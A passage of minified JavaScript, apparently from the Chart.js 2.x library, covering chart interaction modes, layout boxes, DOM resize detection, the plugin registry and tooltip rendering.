Math.max(Math.min(e,n),t)}for(r.dataset._model.spanGaps&&(s=s.filter((function(e){return!e._model.skip}))),e=0,t=s.length;e<t;++e)n=s[e]._model,a=W.splineCurve(W.previousItem(s,e,!0)._model,n,W.nextItem(s,e,!0)._model,n.tension),n.controlPointPreviousX=o(a.previous.x,i.left,i.right),n.controlPointPreviousY=o(a.previous.y,i.top,i.bottom),n.controlPointNextX=o(a.next.x,i.left,i.right),n.controlPointNextY=o(a.next.y,i.top,i.bottom)},setHoverStyle:function(e){var t=e._model,n=e._options,a=W.getHoverColor;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth,radius:t.radius},t.backgroundColor=Ve(n.hoverBackgroundColor,a(n.backgroundColor)),t.borderColor=Ve(n.hoverBorderColor,a(n.borderColor)),t.borderWidth=Ve(n.hoverBorderWidth,n.borderWidth),t.radius=Ve(n.hoverRadius,n.radius)}});F._set("scatter",{hover:{mode:"single"},scales:{xAxes:[{id:"x-axis-1",type:"linear",position:"bottom"}],yAxes:[{id:"y-axis-1",type:"linear",position:"left"}]},tooltips:{callbacks:{title:function(){return""},label:function(e){return"("+e.xLabel+", "+e.yLabel+")"}}}}),F._set("global",{datasets:{scatter:{showLine:!1}}});var Be={bar:ke,bubble:De,doughnut:je,horizontalBar:Oe,line:Re,polarArea:We,pie:ze,radar:qe,scatter:Re};function Ge(e,t){return e.native?{x:e.x,y:e.y}:W.getRelativePosition(e,t)}function Je(e,t){var n,a,r,i,s,o,l=e._getSortedVisibleDatasetMetas();for(a=0,i=l.length;a<i;++a)for(r=0,s=(n=l[a].data).length;r<s;++r)(o=n[r])._view.skip||t(o)}function Ue(e,t){var n=[];return Je(e,(function(e){e.inRange(t.x,t.y)&&n.push(e)})),n}function $e(e,t,n,a){var r=Number.POSITIVE_INFINITY,i=[];return Je(e,(function(e){if(!n||e.inRange(t.x,t.y)){var s=e.getCenterPoint(),o=a(t,s);o<r?(i=[e],r=o):o===r&&i.push(e)}})),i}function Ke(e){var t=-1!==e.indexOf("x"),n=-1!==e.indexOf("y");return function(e,a){var r=t?Math.abs(e.x-a.x):0,i=n?Math.abs(e.y-a.y):0;return Math.sqrt(Math.pow(r,2)+Math.pow(i,2))}}function Ze(e,t,n){var a=Ge(t,e);n.axis=n.axis||"x";var r=Ke(n.axis),i=n.intersect?Ue(e,a):$e(e,a,!1,r),s=[];return i.length?(e._getSortedVisibleDatasetMetas().forEach((function(e){var t=e.data[i[0]._index];t&&!t._view.skip&&s.push(t)})),s):[]}var Xe={modes:{single:function(e,t){var n=Ge(t,e),a=[];return Je(e,(function(e){if(e.inRange(n.x,n.y))return a.push(e),a})),a.slice(0,1)},label:Ze,index:Ze,dataset:function(e,t,n){var a=Ge(t,e);n.axis=n.axis||"xy";var r=Ke(n.axis),i=n.intersect?Ue(e,a):$e(e,a,!1,r);return i.length>0&&(i=e.getDatasetMeta(i[0]._datasetIndex).data),i},"x-axis":function(e,t){return Ze(e,t,{intersect:!1})},point:function(e,t){return Ue(e,Ge(t,e))},nearest:function(e,t,n){var a=Ge(t,e);n.axis=n.axis||"xy";var r=Ke(n.axis);return $e(e,a,n.intersect,r)},x:function(e,t,n){var a=Ge(t,e),r=[],i=!1;return Je(e,(function(e){e.inXRange(a.x)&&r.push(e),e.inRange(a.x,a.y)&&(i=!0)})),n.intersect&&!i&&(r=[]),r},y:function(e,t,n){var a=Ge(t,e),r=[],i=!1;return Je(e,(function(e){e.inYRange(a.y)&&r.push(e),e.inRange(a.x,a.y)&&(i=!0)})),n.intersect&&!i&&(r=[]),r}}},Qe=W.extend;function et(e,t){return W.where(e,(function(e){return e.pos===t}))}function tt(e,t){return e.sort((function(e,n){var a=t?n:e,r=t?e:n;return a.weight===r.weight?a.index-r.index:a.weight-r.weight}))}function nt(e,t,n,a){return Math.max(e[n],t[n])+Math.max(e[a],t[a])}function at(e,t,n){var a,r,i=n.box,s=e.maxPadding;if(n.size&&(e[n.pos]-=n.size),n.size=n.horizontal?i.height:i.width,e[n.pos]+=n.size,i.getPadding){var o=i.getPadding();s.top=Math.max(s.top,o.top),s.left=Math.max(s.left,o.left),s.bottom=Math.max(s.bottom,o.bottom),s.right=Math.max(s.right,o.right)}if(a=t.outerWidth-nt(s,e,"left","right"),r=t.outerHeight-nt(s,e,"top","bottom"),a!==e.w||r!==e.h){e.w=a,e.h=r;var l=n.horizontal?[a,e.w]:[r,e.h];return!(l[0]===l[1]||isNaN(l[0])&&isNaN(l[1]))}}function rt(e,t){var n,a=t.maxPadding;return n={left:0,top:0,right:0,bottom:0},(e?["left","right"]:["top","bottom"]).forEach((function(e){n[e]=Math.max(t[e],a[e])})),n}function it(e,t,n){var a,r,i,s,o,l,d=[];for(a=0,r=e.length;a<r;++a)(s=(i=e[a]).box).update(i.width||t.w,i.height||t.h,rt(i.horizontal,t)),at(t,n,i)&&(l=!0,d.length&&(o=!0)),s.fullWidth||d.push(i);return o&&it(d,t,n)||l}function st(e,t,n){var a,r,i,s,o=n.padding,l=t.x,d=t.y;for(a=0,r=e.length;a<r;++a)s=(i=e[a]).box,i.horizontal?(s.left=s.fullWidth?o.left:t.left,s.right=s.fullWidth?n.outerWidth-o.right:t.left+t.w,s.top=d,s.bottom=d+s.height,s.width=s.right-s.left,d=s.bottom):(s.left=l,s.right=l+s.width,s.top=t.top,s.bottom=t.top+t.h,s.height=s.bottom-s.top,l=s.right);t.x=l,t.y=d}F._set("global",{layout:{padding:{top:0,right:0,bottom:0,left:0}}});var ot,lt={defaults:{},addBox:function(e,t){e.boxes||(e.boxes=[]),t.fullWidth=t.fullWidth||!1,t.position=t.position||"top",t.weight=t.weight||0,t._layers=t._layers||function(){return[{z:0,draw:function(){t.draw.apply(t,arguments)}}]},e.boxes.push(t)},removeBox:function(e,t){var n=e.boxes?e.boxes.indexOf(t):-1;-1!==n&&e.boxes.splice(n,1)},configure:function(e,t,n){for(var a,r=["fullWidth","position","weight"],i=r.length,s=0;s<i;++s)n.hasOwnProperty(a=r[s])&&(t[a]=n[a])},update:function(e,t,n){if(e){var a=W.options.toPadding((e.options.layout||{}).padding),r=t-a.width,i=n-a.height,s=function(e){var t=function(e){var t,n,a,r=[];for(t=0,n=(e||[]).length;t<n;++t)r.push({index:t,box:a=e[t],pos:a.position,horizontal:a.isHorizontal(),weight:a.weight});return r}(e),n=tt(et(t,"left"),!0),a=tt(et(t,"right")),r=tt(et(t,"top"),!0),i=tt(et(t,"bottom"));return{leftAndTop:n.concat(r),rightAndBottom:a.concat(i),chartArea:et(t,"chartArea"),vertical:n.concat(a),horizontal:r.concat(i)}}(e.boxes),o=s.vertical,l=s.horizontal,d=Object.freeze({outerWidth:t,outerHeight:n,padding:a,availableWidth:r,vBoxMaxWidth:r/2/o.length,hBoxMaxHeight:i/2}),u=Qe({maxPadding:Qe({},a),w:r,h:i,x:a.left,y:a.top},a);!function(e,t){var n,a,r;for(n=0,a=e.length;n<a;++n)(r=e[n]).width=r.horizontal?r.box.fullWidth&&t.availableWidth:t.vBoxMaxWidth,r.height=r.horizontal&&t.hBoxMaxHeight}(o.concat(l),d),it(o,u,d),it(l,u,d)&&it(o,u,d),function(e){var t=e.maxPadding;function n(n){var a=Math.max(t[n]-e[n],0);return e[n]+=a,a}e.y+=n("top"),e.x+=n("left"),n("right"),n("bottom")}(u),st(s.leftAndTop,u,d),u.x+=u.w,u.y+=u.h,st(s.rightAndBottom,u,d),e.chartArea={left:u.left,top:u.top,right:u.left+u.w,bottom:u.top+u.h},W.each(s.chartArea,(function(t){var n=t.box;Qe(n,e.chartArea),n.update(u.w,u.h)}))}}},dt=(ot=Object.freeze({__proto__:null,default:"/*\r\n * DOM element rendering detection\r\n * https://davidwalsh.name/detect-node-insertion\r\n */\r\n@keyframes chartjs-render-animation {\r\n\tfrom { opacity: 0.99; }\r\n\tto { opacity: 1; }\r\n}\r\n\r\n.chartjs-render-monitor {\r\n\tanimation: chartjs-render-animation 0.001s;\r\n}\r\n\r\n/*\r\n * DOM element resizing detection\r\n * https://github.com/marcj/css-element-queries\r\n */\r\n.chartjs-size-monitor,\r\n.chartjs-size-monitor-expand,\r\n.chartjs-size-monitor-shrink {\r\n\tposition: absolute;\r\n\tdirection: ltr;\r\n\tleft: 0;\r\n\ttop: 0;\r\n\tright: 0;\r\n\tbottom: 0;\r\n\toverflow: hidden;\r\n\tpointer-events: none;\r\n\tvisibility: hidden;\r\n\tz-index: -1;\r\n}\r\n\r\n.chartjs-size-monitor-expand > div {\r\n\tposition: absolute;\r\n\twidth: 1000000px;\r\n\theight: 1000000px;\r\n\tleft: 0;\r\n\ttop: 0;\r\n}\r\n\r\n.chartjs-size-monitor-shrink > div {\r\n\tposition: absolute;\r\n\twidth: 200%;\r\n\theight: 200%;\r\n\tleft: 0;\r\n\ttop: 0;\r\n}\r\n"}))&&ot.default||ot,ut=["animationstart","webkitAnimationStart"],ct={touchstart:"mousedown",touchmove:"mousemove",touchend:"mouseup",pointerenter:"mouseenter",pointerdown:"mousedown",pointermove:"mousemove",pointerup:"mouseup",pointerleave:"mouseout",pointerout:"mouseout"};function ht(e,t){var n=W.getStyle(e,t),a=n&&n.match(/^(\d+)(\.\d+)?px$/);return a?Number(a[1]):void 0}var mt=!!function(){var e=!1;try{var t=Object.defineProperty({},"passive",{get:function(){e=!0}});window.addEventListener("e",null,t)}catch(n){}return e}()&&{passive:!0};function _t(e,t,n){e.addEventListener(t,n,mt)}function ft(e,t,n){e.removeEventListener(t,n,mt)}function pt(e,t,n,a,r){return{type:e,chart:t,native:r||null,x:void 0!==n?n:null,y:void 0!==a?a:null}}function gt(e){var t=document.createElement("div");return t.className=e||"",t}var bt={disableCSSInjection:!1,_enabled:"undefined"!=typeof window&&"undefined"!=typeof document,_ensureLoaded:function(e){if(!this.disableCSSInjection){var t=e.getRootNode?e.getRootNode():document;!function(e,t){var n=e.$chartjs||(e.$chartjs={});if(!n.containsStyles){n.containsStyles=!0,t="/* Chart.js */\n"+t;var a=document.createElement("style");a.setAttribute("type","text/css"),a.appendChild(document.createTextNode(t)),e.appendChild(a)}}(t.host?t:document.head,dt)}},acquireContext:function(e,t){"string"==typeof e?e=document.getElementById(e):e.length&&(e=e[0]),e&&e.canvas&&(e=e.canvas);var n=e&&e.getContext&&e.getContext("2d");return n&&n.canvas===e?(this._ensureLoaded(e),function(e,t){var n=e.style,a=e.getAttribute("height"),r=e.getAttribute("width");if(e.$chartjs={initial:{height:a,width:r,style:{display:n.display,height:n.height,width:n.width}}},n.display=n.display||"block",null===r||""===r){var i=ht(e,"width");void 0!==i&&(e.width=i)}if(null===a||""===a)if(""===e.style.height)e.height=e.width/(t.options.aspectRatio||2);else{var s=ht(e,"height");void 0!==i&&(e.height=s)}}(e,t),n):null},releaseContext:function(e){var t=e.canvas;if(t.$chartjs){var n=t.$chartjs.initial;["height","width"].forEach((function(e){var a=n[e];W.isNullOrUndef(a)?t.removeAttribute(e):t.setAttribute(e,a)})),W.each(n.style||{},(function(e,n){t.style[n]=e})),t.width=t.width,delete t.$chartjs}},addEventListener:function(e,t,n){var a=e.canvas;if("resize"!==t){var r=n.$chartjs||(n.$chartjs={});_t(a,t,(r.proxies||(r.proxies={}))[e.id+"_"+t]=function(t){n(function(e,t){var n=ct[e.type]||e.type,a=W.getRelativePosition(e,t);return pt(n,t,a.x,a.y,e)}(t,e))})}else!function(e,t,n){var a,r,i,s,o=e.$chartjs||(e.$chartjs={}),l=o.resizer=function(e){var t=gt("chartjs-size-monitor"),n=gt("chartjs-size-monitor-expand"),a=gt("chartjs-size-monitor-shrink");n.appendChild(gt()),a.appendChild(gt()),t.appendChild(n),t.appendChild(a),t._reset=function(){n.scrollLeft=1e6,n.scrollTop=1e6,a.scrollLeft=1e6,a.scrollTop=1e6};var r=function(){t._reset(),e()};return _t(n,"scroll",r.bind(n,"expand")),_t(a,"scroll",r.bind(a,"shrink")),t}((a=function(){if(o.resizer){var a=n.options.maintainAspectRatio&&e.parentNode,r=a?a.clientWidth:0;t(pt("resize",n)),a&&a.clientWidth<r&&n.canvas&&t(pt("resize",n))}},i=!1,s=[],function(){s=Array.prototype.slice.call(arguments),r=r||this,i||(i=!0,W.requestAnimFrame.call(window,(function(){i=!1,a.apply(r,s)})))}));!function(e,t){var n=e.$chartjs||(e.$chartjs={}),a=n.renderProxy=function(e){"chartjs-render-animation"===e.animationName&&t()};W.each(ut,(function(t){_t(e,t,a)})),n.reflow=!!e.offsetParent,e.classList.add("chartjs-render-monitor")}(e,(function(){if(o.resizer){var t=e.parentNode;t&&t!==l.parentNode&&t.insertBefore(l,t.firstChild),l._reset()}}))}(a,n,e)},removeEventListener:function(e,t,n){var a,r,i,s=e.canvas;if("resize"!==t){var o=((n.$chartjs||{}).proxies||{})[e.id+"_"+t];o&&ft(s,t,o)}else i=(r=(a=s).$chartjs||{}).resizer,delete r.resizer,function(e){var t=e.$chartjs||{},n=t.renderProxy;n&&(W.each(ut,(function(t){ft(e,t,n)})),delete t.renderProxy),e.classList.remove("chartjs-render-monitor")}(a),i&&i.parentNode&&i.parentNode.removeChild(i)}};W.addEvent=_t,W.removeEvent=ft;var yt=W.extend({initialize:function(){},acquireContext:function(){},releaseContext:function(){},addEventListener:function(){},removeEventListener:function(){}},bt._enabled?bt:{acquireContext:function(e){return e&&e.canvas&&(e=e.canvas),e&&e.getContext("2d")||null}});F._set("global",{plugins:{}});var Mt={_plugins:[],_cacheId:0,register:function(e){var t=this._plugins;[].concat(e).forEach((function(e){-1===t.indexOf(e)&&t.push(e)})),this._cacheId++},unregister:function(e){var t=this._plugins;[].concat(e).forEach((function(e){var n=t.indexOf(e);-1!==n&&t.splice(n,1)})),this._cacheId++},clear:function(){this._plugins=[],this._cacheId++},count:function(){return this._plugins.length},getAll:function(){return this._plugins},notify:function(e,t,n){var a,r,i,s,o,l=this.descriptors(e),d=l.length;for(a=0;a<d;++a)if("function"==typeof(o=(i=(r=l[a]).plugin)[t])&&((s=[e].concat(n||[])).push(r.options),!1===o.apply(i,s)))return!1;return!0},descriptors:function(e){var t=e.$plugins||(e.$plugins={});if(t.id===this._cacheId)return t.descriptors;var n=[],a=[],r=e&&e.config||{},i=r.options&&r.options.plugins||{};return this._plugins.concat(r.plugins||[]).forEach((function(e){if(-1===n.indexOf(e)){var t=e.id,r=i[t];!1!==r&&(!0===r&&(r=W.clone(F.global.plugins[t])),n.push(e),a.push({plugin:e,options:r||{}}))}})),t.descriptors=a,t.id=this._cacheId,a},_invalidate:function(e){delete e.$plugins}},vt={constructors:{},defaults:{},registerScaleType:function(e,t,n){this.constructors[e]=t,this.defaults[e]=W.clone(n)},getScaleConstructor:function(e){return this.constructors.hasOwnProperty(e)?this.constructors[e]:void 0},getScaleDefaults:function(e){return this.defaults.hasOwnProperty(e)?W.merge(Object.create(null),[F.scale,this.defaults[e]]):{}},updateScaleDefaults:function(e,t){this.defaults.hasOwnProperty(e)&&(this.defaults[e]=W.extend(this.defaults[e],t))},addScalesToLayout:function(e){W.each(e.scales,(function(t){t.fullWidth=t.options.fullWidth,t.position=t.options.position,t.weight=t.options.weight,lt.addBox(e,t)}))}},Lt=W.valueOrDefault,kt=W.rtl.getRtlAdapter;F._set("global",{tooltips:{enabled:!0,custom:null,mode:"nearest",position:"average",intersect:!0,backgroundColor:"rgba(0,0,0,0.8)",titleFontStyle:"bold",titleSpacing:2,titleMarginBottom:6,titleFontColor:"#fff",titleAlign:"left",bodySpacing:2,bodyFontColor:"#fff",bodyAlign:"left",footerFontStyle:"bold",footerSpacing:2,footerMarginTop:6,footerFontColor:"#fff",footerAlign:"left",yPadding:6,xPadding:6,caretPadding:2,caretSize:5,cornerRadius:6,multiKeyBackground:"#fff",displayColors:!0,borderColor:"rgba(0,0,0,0)",borderWidth:0,callbacks:{beforeTitle:W.noop,title:function(e,t){var n="",a=t.labels,r=a?a.length:0;if(e.length>0){var i=e[0];i.label?n=i.label:i.xLabel?n=i.xLabel:r>0&&i.index<r&&(n=a[i.index])}return n},afterTitle:W.noop,beforeBody:W.noop,beforeLabel:W.noop,label:function(e,t){var n=t.datasets[e.datasetIndex].label||"";return n&&(n+=": "),W.isNullOrUndef(e.value)?n+=e.yLabel:n+=e.value,n},labelColor:function(e,t){var n=t.getDatasetMeta(e.datasetIndex).data[e.index]._view;return{borderColor:n.borderColor,backgroundColor:n.backgroundColor}},labelTextColor:function(){return this._options.bodyFontColor},afterLabel:W.noop,afterBody:W.noop,beforeFooter:W.noop,footer:W.noop,afterFooter:W.noop}}});var wt={average:function(e){if(!e.length)return!1;var t,n,a=0,r=0,i=0;for(t=0,n=e.length;t<n;++t){var s=e[t];if(s&&s.hasValue()){var o=s.tooltipPosition();a+=o.x,r+=o.y,++i}}return{x:a/i,y:r/i}},nearest:function(e,t){var n,a,r,i=t.x,s=t.y,o=Number.POSITIVE_INFINITY;for(n=0,a=e.length;n<a;++n){var l=e[n];if(l&&l.hasValue()){var d=l.getCenterPoint(),u=W.distanceBetweenPoints(t,d);u<o&&(o=u,r=l)}}if(r){var c=r.tooltipPosition();i=c.x,s=c.y}return{x:i,y:s}}};function xt(e,t){return t&&(W.isArray(t)?Array.prototype.push.apply(e,t):e.push(t)),e}function Dt(e){return("string"==typeof e||e instanceof String)&&e.indexOf("\n")>-1?e.split("\n"):e}function Yt(e){var t=F.global;return{xPadding:e.xPadding,yPadding:e.yPadding,xAlign:e.xAlign,yAlign:e.yAlign,rtl:e.rtl,textDirection:e.textDirection,bodyFontColor:e.bodyFontColor,_bodyFontFamily:Lt(e.bodyFontFamily,t.defaultFontFamily),_bodyFontStyle:Lt(e.bodyFontStyle,t.defaultFontStyle),_bodyAlign:e.bodyAlign,bodyFontSize:Lt(e.bodyFontSize,t.defaultFontSize),bodySpacing:e.bodySpacing,titleFontColor:e.titleFontColor,_titleFontFamily:Lt(e.titleFontFamily,t.defaultFontFamily),_titleFontStyle:Lt(e.titleFontStyle,t.defaultFontStyle),titleFontSize:Lt(e.titleFontSize,t.defaultFontSize),_titleAlign:e.titleAlign,titleSpacing:e.titleSpacing,titleMarginBottom:e.titleMarginBottom,footerFontColor:e.footerFontColor,_footerFontFamily:Lt(e.footerFontFamily,t.defaultFontFamily),_footerFontStyle:Lt(e.footerFontStyle,t.defaultFontStyle),footerFontSize:Lt(e.footerFontSize,t.defaultFontSize),_footerAlign:e.footerAlign,footerSpacing:e.footerSpacing,footerMarginTop:e.footerMarginTop,caretSize:e.caretSize,cornerRadius:e.cornerRadius,backgroundColor:e.backgroundColor,opacity:0,legendColorBackground:e.multiKeyBackground,displayColors:e.displayColors,borderColor:e.borderColor,borderWidth:e.borderWidth}}function Tt(e,t){return"center"===t?e.x+e.width/2:"right"===t?e.x+e.width-e.xPadding:e.x+e.xPadding}function St(e){return xt([],Dt(e))}var Ct=G.extend({initialize:function(){this._model=Yt(this._options),this._lastActive=[]},getTitle:function(){var e=this,t=e._options,n=t.callbacks,a=n.beforeTitle.apply(e,arguments),r=n.title.apply(e,arguments),i=n.afterTitle.apply(e,arguments),s=[];return s=xt(s,Dt(a)),s=xt(s,Dt(r)),xt(s,Dt(i))},getBeforeBody:function(){return St(this._options.callbacks.beforeBody.apply(this,arguments))},getBody:function(e,t){var n=this,a=n._options.callbacks,r=[];return W.each(e,(function(e){var i={before:[],lines:[],after:[]};xt(i.before,Dt(a.beforeLabel.call(n,e,t))),xt(i.lines,a.label.call(n,e,t)),xt(i.after,Dt(a.afterLabel.call(n,e,t))),r.push(i)})),r},getAfterBody:function(){return St(this._options.callbacks.afterBody.apply(this,arguments))},getFooter:function(){var e=this,t=e._options.callbacks,n=t.beforeFooter.apply(e,arguments),a=t.footer.apply(e,arguments),r=t.afterFooter.apply(e,arguments),i=[];return i=xt(i,Dt(n)),i=xt(i,Dt(a)),xt(i,Dt(r))},update:function(e){var t,n,a,r,i,s,o,l,d,u,c=this,h=c._options,m=c._model,_=c._model=Yt(h),f=c._active,p=c._data,g={xAlign:m.xAlign,yAlign:m.yAlign},b={x:m.x,y:m.y},y={width:m.width,height:m.height},M={x:m.caretX,y:m.caretY};if(f.length){_.opacity=1;var v=[],L=[];M=wt[h.position].call(c,f,c._eventPosition);var k=[];for(t=0,n=f.length;t<n;++t)k.push((r=void 0,i=void 0,l=void 0,d=void 0,u=void 0,r=(a=f[t])._xScale,i=a._yScale||a._scale,s=a._index,d=(l=a._chart.getDatasetMeta(o=a._datasetIndex).controller)._getIndexScale(),u=l._getValueScale(),{xLabel:r?r.getLabelForIndex(s,o):"",yLabel:i?i.getLabelForIndex(s,o):"",label:d?""+d.getLabelForIndex(s,o):"",value:u?""+u.getLabelForIndex(s,o):"",index:s,datasetIndex:o,x:a._model.x,y:a._model.y}));h.filter&&(k=k.filter((function(e){return h.filter(e,p)}))),h.itemSort&&(k=k.sort((function(e,t){return h.itemSort(e,t,p)}))),W.each(k,(function(e){v.push(h.callbacks.labelColor.call(c,e,c._chart)),L.push(h.callbacks.labelTextColor.call(c,e,c._chart))})),_.title=c.getTitle(k,p),_.beforeBody=c.getBeforeBody(k,p),_.body=c.getBody(k,p),_.afterBody=c.getAfterBody(k,p),_.footer=c.getFooter(k,p),_.x=M.x,_.y=M.y,_.caretPadding=h.caretPadding,_.labelColors=v,_.labelTextColors=L,_.dataPoints=k,y=function(e,t){var n=e._chart.ctx,a=2*t.yPadding,r=0,i=t.body,s=i.reduce((function(e,t){return e+t.before.length+t.lines.length+t.after.length}),0),o=t.title.length,l=t.footer.length,d=t.titleFontSize,u=t.bodyFontSize,c=t.footerFontSize;a+=o*d,a+=o?(o-1)*t.titleSpacing:0,a+=o?t.titleMarginBottom:0,a+=(s+=t.beforeBody.length+t.afterBody.length)*u,a+=s?(s-1)*t.bodySpacing:0,a+=l?t.footerMarginTop:0,a+=l*c,a+=l?(l-1)*t.footerSpacing:0;var h=0,m=function(e){r=Math.max(r,n.measureText(e).width+h)};return n.font=W.fontString(d,t._titleFontStyle,t._titleFontFamily),W.each(t.title,m),n.font=W.fontString(u,t._bodyFontStyle,t._bodyFontFamily),W.each(t.beforeBody.concat(t.afterBody),m),h=t.displayColors?u+2:0,W.each(i,(function(e){W.each(e.before,m),W.each(e.lines,m),W.each(e.after,m)})),h=0,n.font=W.fontString(c,t._footerFontStyle,t._footerFontFamily),W.each(t.footer,m),{width:r+=2*t.xPadding,height:a}}(this,_),b=function(e,t,n,a){var r=e.x,i=e.y,s=e.caretPadding,o=n.xAlign,l=n.yAlign,d=e.caretSize+s,u=e.cornerRadius+s;return"right"===o?r-=t.width:"center"===o&&((r-=t.width/2)+t.width>a.width&&(r=a.width-t.width),r<0&&(r=0)),"top"===l?i+=d:i-="bottom"===l?t.height+d:t.height/2,"center"===l?"left"===o?r+=d:"right"===o&&(r-=d):"left"===o?r-=u:"right"===o&&(r+=u),{x:r,y:i}}(_,y,g=function(e,t){var n,a,r,i,s,o=e._model,l=e._chart,d=e._chart.chartArea,u="center",c="center";o.y<t.height?c="top":o.y>l.height-t.height&&(c="bottom");var h=(d.left+d.right)/2,m=(d.top+d.bottom)/2;"center"===c?(n=function(e){return e<=h},a=function(e){return e>h}):(n=function(e){return e<=t.width/2},a=function(e){return e>=l.width-t.width/2}),r=function(e){return e+t.width+o.caretSize+o.caretPadding>l.width},i=function(e){return e-t.width-o.caretSize-o.caretPadding<0},s=function(e){return e<=m?"top":"bottom"},n(o.x)?(u="left",r(o.x)&&(u="center",c=s(o.y))):a(o.x)&&(u="right",i(o.x)&&(u="center",c=s(o.y)));var _=e._options;return{xAlign:_.xAlign?_.xAlign:u,yAlign:_.yAlign?_.yAlign:c}}(this,y),c._chart)}else _.opacity=0;return _.xAlign=g.xAlign,_.yAlign=g.yAlign,_.x=b.x,_.y=b.y,_.width=y.width,_.height=y.height,_.caretX=M.x,_.caretY=M.y,c._model=_,e&&h.custom&&h.custom.call(c,_),c},drawCaret:function(e,t){var n=this._chart.ctx,a=this.getCaretPosition(e,t,this._view);n.lineTo(a.x1,a.y1),n.lineTo(a.x2,a.y2),n.lineTo(a.x3,a.y3)},getCaretPosition:function(e,t,n){var a,r,i,s,o,l,d=n.caretSize,u=n.cornerRadius,c=n.xAlign,h=n.yAlign,m=e.x,_=e.y,f=t.width,p=t.height;if("center"===h)o=_+p/2,"left"===c?(r=(a=m)-d,i=a,s=o+d,l=o-d):(r=(a=m+f)+d,i=a,s=o-d,l=o+d);else if("left"===c?(a=(r=m+u+d)-d,i=r+d):"right"===c?(a=(r=m+f-u-d)-d,i=r+d):(a=(r=n.caretX)-d,i=r+d),"top"===h)o=(s=_)-d,l=s;else{o=(s=_+p)+d,l=s;var g=i;i=a,a=g}return{x1:a,x2:r,x3:i,y1:s,y2:o,y3:l}},drawTitle:function(e,t,n){var a,r,i,s=t.title,o=s.length;if(o){var l=kt(t.rtl,t.x,t.width);for(e.x=Tt(t,t._titleAlign),n.textAlign=l.textAlign(t._titleAlign),n.textBaseline="middle",a=t.titleFontSize,r=t.titleSpacing,n.fillStyle=t.titleFontColor,n.font=W.fontString(a,t._titleFontStyle,t._titleFontFamily),i=0;i<o;++i)n.fillText(s[i],l.x(e.x),e.y+a/2),e.y+=a+r,i+1===o&&(e.y+=t.titleMarginBottom-r)}},drawBody:function(e,t,n){var a,r,i,s,o,l,d,u,c=t.bodyFontSize,h=t.bodySpacing,m=t._bodyAlign,_=t.body,f=t.displayColors,p=0,g=f?Tt(t,"left"):0,b=kt(t.rtl,t.x,t.width),y=function(t){n.fillText(t,b.x(e.x+p),e.y+c/2),e.y+=c+h},M=b.textAlign(m);for(n.textAlign=m,n.textBaseline="middle",n.font=W.fontString(c,t._bodyFontStyle,t._bodyFontFamily),e.x=Tt(t,M),n.fillStyle=t.bodyFontColor,W.each(t.beforeBody,y),p=f&&"right"!==M?"center"===m?c/2+1:c+2:0,o=0,d=_.length;o<d;++o){for(a=_[o],i=t.labelColors[o],n.fillStyle=r=t.labelTextColors[o],W.each(a.before,y),l=0,u=(s=a.lines).length;l<u;++l){if(f){var v=b.x(g);n.fillStyle=t.legendColorBackground,n.fillRect(b.leftForLtr(v,c),e.y,c,c),n.lineWidth=1,n.strokeStyle=i.borderColor,n.strokeRect(b.leftForLtr(v,c),e.y,c,c),n.fillStyle=i.backgroundColor,n.fillRect(b.leftForLtr(b.xPlus(v,1),c-2),e.y+1,c-2,c-2),n.fillStyle=r}y(s[l])}W.each(a.after,y)}p=0,W.each(t.afterBody,y),e.y-=h},drawFooter:function(e,t,n){var a,r,i=t.footer,s=i.length;if(s){var o=kt(t.rtl,t.x,t.width);for(e.x=Tt(t,t._footerAlign),e.y+=t.footerMarginTop,n.textAlign=o.textAlign(t._footerAlign),n.textBaseline="middle",a=t.footerFontSize,n.fillStyle=t.footerFontColor,n.font=W.fontString(a,t._footerFontStyle,t._footerFontFamily),r=0;r<s;++r)n.fillText(i[r],o.x(e.x),e.y+a/2),e.y+=a+t.footerSpacing}},drawBackground:function(e,t,n,a){n.fillStyle=t.backgroundColor,n.strokeStyle=t.borderColor,n.lineWidth=t.borderWidth;var r=t.xAlign,i=t.yAlign,s=e.x,o=e.y,l=a.width,d=a.height,u=t.cornerRadius;n.beginPath(),n.moveTo(s+u,o),"top"===i&&this.drawCaret(e,a),n.lineTo(s+l-u,o),n.quadraticCurveTo(s+l,o,s+l,o+u),"center"===i&&"right"===r&&this.drawCaret(e,a),n.lineTo(s+l,o+d-u),n.quadraticCurveTo(s+l,o+d,s+l-u,o+d),"bottom"===i&&this.drawCaret(e,a),n.lineTo(s+u,o+d),n.quadraticCurveTo(s,o+d,s,o+d-u),"center"===i&&"left"===r&&this.drawCaret(e,a),n.lineTo(s,o+u),n.quadraticCurveTo(s,o,s+u,o),n.closePath(),n.fill(),t.borderWidth>0&&n.stroke()},draw:function(){var e=this._chart.ctx,t=this._view;if(0!==t.opacity){var n={width:t.width,height:t.height},a={x:t.x,y:t.y},r=Math.abs(t.opacity<.001)?0:t.opacity;this._options.enabled&&(t.title.length||t.beforeBody.length||t.body.length||t.afterBody.length||t.footer.length)&&(e.save(),e.globalAlpha=r,this.drawBackground(a,t,e,n),a.y+=t.yPadding,W.rtl.overrideTextDirection(e,t.textDirection),this.drawTitle(a,t,e),this.drawBody(a,t,e),this.drawFooter(a,t,e),W.rtl.restoreTextDirection(e,t.textDirection),e.restore())}},handleEvent:function(e){var t,n=this,a=n._options;return n._lastActive=n._lastActive||[],"mouseout"===e.type?n._active=[]:(n._active=n._chart.getElementsAtEventForMode(e,a.mode,a),a.reverse&&n._active.reverse()),(t=!W.arrayEquals(n._active,n._lastActive))&&(n._lastActive=n._active,(a.enabled||a.custom)&&(n._eventPosition={x:e.x,y:e.y},n.update(!0),n.pivot())),t}});Ct.positioners=wt;var jt=W.valueOrDefault;function Ot(){return W.merge(Object.create(null),[].slice.call(arguments),{merger:function(e,t,n,a){if("xAxes"===e||"yAxes"===e){var r,i,s,o=n[e].length;for(t[e]||(t[e]=[]),r=0;r<o;++r)i=jt((s=n[e][r]).type,"xAxes"===e?"category":"linear"),r>=t[e].length&&t[e].push({}),W.merge(t[e][r],!t[e][r].type||s.type&&s.type!==t[e][r].type?[vt.getScaleDefaults(i),s]:s)}else W._merger(e,t,n,a)}})}function Ht(){return W.merge(Object.create(null),[].slice.call(arguments),{merger:function(e,t,n,a){var r=t[e]||Object.create(null),i=n[e];"scales"===e?t[e]=Ot(r,i):"scale"===e?t[e]=W.merge(r,[vt.getScaleDefaults(i.type),i]):W._merger(e,t,n,a)}})}function At(e){var 